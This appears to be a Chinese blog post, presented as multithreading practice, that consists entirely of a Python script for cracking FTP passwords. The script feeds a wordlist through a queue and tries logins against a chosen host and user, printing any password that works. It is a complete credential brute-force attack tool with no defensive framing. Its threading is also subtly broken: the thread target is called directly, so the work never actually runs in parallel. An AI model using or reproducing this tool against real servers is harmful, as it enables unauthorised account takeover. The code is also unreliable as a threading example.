多线程练习

小王学PY

1. import ftplib
   
2. import queue
   
3. from threading import Thread
   
4. 
   
5. # 初始化队列
   
6. q = queue.Queue()
   
7. # FTP端口
   
8. port = 21
   
9. 
   
10. def connect_ftp():
    
11.     global q
    
12.     # 从队列中获取密码
    
13.     while True:
    
14.         password = q.get()
    
15.         # 初始化FTP服务器对象
    
16.         server = ftplib.FTP()
    
17.         print('尝试连接',password)
    
18.         try:
    
19.             # 尝试连接服务器
    
20.             server.connect(host,port,timeout=5)
    
21.             server.login(user,password)
    
22.         except ftplib.error_perm:
    
23.             # 登录失败
    
24.             pass
    
25.         else:
    
26.             print(f'主机{host}ftp的账号{user}密码是{password}')
    
27.             # 清楚队列
    
28.             with q.mutex:
    
29.                 q.queue.clear()
    
30.                 q.all_tasks_done.notify_all()
    
31.                 q.unfinished_tasks = 0
    
32.         finally:
    
33.             # 通知队列任务完成
    
34.             q.task_done()
    
35. 
    
36. if __name__ == '__main__':
    
37.     import argparse
    
38.     parse = argparse.ArgumentParser(description='破解ftp密码')
    
39.     parse.add_argument('host',help='主机名字或者IP地址')
    
40.     parse.add_argument('-u','--user',help='ftp用户名')
    
41.     parse.add_argument('-p','--pass_list',help='破解字典')
    
42.     parse.add_argument('-t','--threads',help='开启线程数量')
    
43. 
    
44.     args = parse.parse_args()
    
45.     # 主机IP
    
46.     host = args.host
    
47.     # 用户名
    
48.     user = args.user
    
49.     # 用户字典
    
50.     pass_list = args.pass_list
    
51.     # 开启线程数量
    
52.     n_threads = int(args.threads)
    
53.     # 从字典中获取所有密码
    
54.     passwords = open(pass_list).read().split('\n')
    
55.     # 将密码添加到队列
    
56.     for password in passwords:
    
57.         q.put(password)
    
58.     for t in range(n_threads):
    
59.         # 开启线程
    
60.         thread = Thread(target=connect_ftp())
    
61.         # 设置为后台线程
    
62.         thread.daemon = True
    
63.         thread.start()
    
64. 
    
65.     # 等待队列为空
    
66.     q.join()

复制代码